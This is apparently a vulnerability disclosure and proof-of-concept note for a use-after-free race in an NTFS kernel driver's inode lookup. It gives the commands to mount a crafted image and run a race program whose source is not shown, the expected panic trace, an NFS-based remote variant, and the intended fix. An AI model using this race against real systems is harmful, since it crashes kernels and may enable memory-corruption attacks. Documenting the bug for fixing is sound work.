# DF-0930 — PoC: NTFS inode-hash UAF

## Goal

Race concurrent `ntfs_ntlookup()` calls for the same inode to win the
window between `ntfs_nthashlookup` (token released at
`ntfs_ihash.c:100`) and `ntfs_ntget` (touches `ip` at
`ntfs_subr.c:348-349`). A concurrent `ntfs_ntput` on another CPU can
drop `usecount` to `0` and `kfree(ip)`, making `ntfs_ntget` dereference
freed memory.

## Build & run

```
# 1. Build a minimal NTFS image (mkntfs from ntfs-3g) with a known file.

# 2. Mount read-only (user-mount or setuid mount helper):
mount_ntfs -o ro,-C=utf8 /tmp/evil.ntfs /mnt/ntfs

# 3. Trigger:
cc -O2 -pthread -o race_ntfs race_ntfs.c
./race_ntfs /mnt/ntfs/knownfile

# 4. Repeat to widen the race window:
while true; do ./race_ntfs; dmesg | tail; done
```

## Expected output

Kernel panic in `lockmgr`/`ntfs_ntget` on a freed ntnode:

```
spin lock held too long
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0x...
...
lockmgr(...)        at lockmgr+0x...
ntfs_ntget(...)     at ntfs_ntget+0x...      (ntfs_subr.c:349)
ntfs_ntlookup(...)  at ntfs_ntlookup+0x...   (ntfs_subr.c:370)
ntfs_vgetex(...)    at ntfs_vgetex+0x...
...
```

Or a `kmalloc`/type-panic from the `M_NTFSNTNODE` slab.

## Notes

- The remote variant: export the NTFS volume read-only via NFS and have
  an attacker client issue `fork()+open()` storms on the same file
  handle from two processes, driving `VFS_VGET` concurrently.
- The correct fix is to implement the missing `ntfs_nthashget()` (which
  `ntfs_ihash.h:36` already declares) mirroring `ext2_ihashget`: take
  the usecount reference under the token + `i_interlock` so the ntnode
  cannot be torn down between lookup and the caller taking the
  reference.
